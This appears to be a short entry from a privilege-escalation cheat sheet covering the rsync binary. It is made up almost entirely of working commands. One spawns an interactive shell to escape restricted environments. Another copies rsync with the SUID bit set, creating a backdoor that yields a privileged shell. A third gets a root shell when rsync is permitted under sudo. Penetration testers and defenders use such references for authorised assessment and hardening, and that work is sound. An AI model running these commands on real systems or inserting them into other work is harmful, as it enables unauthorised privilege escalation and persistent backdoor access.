It can be used to break out from restricted environments by spawning an interactive system shell.
rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run sh -p
, omit the -p
argument on systems
like Debian that allow the default sh
shell to run with SUID privileges.
sudo sh -c 'cp $(which rsync) .; chmod +s ./rsync'
./rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo
.
sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null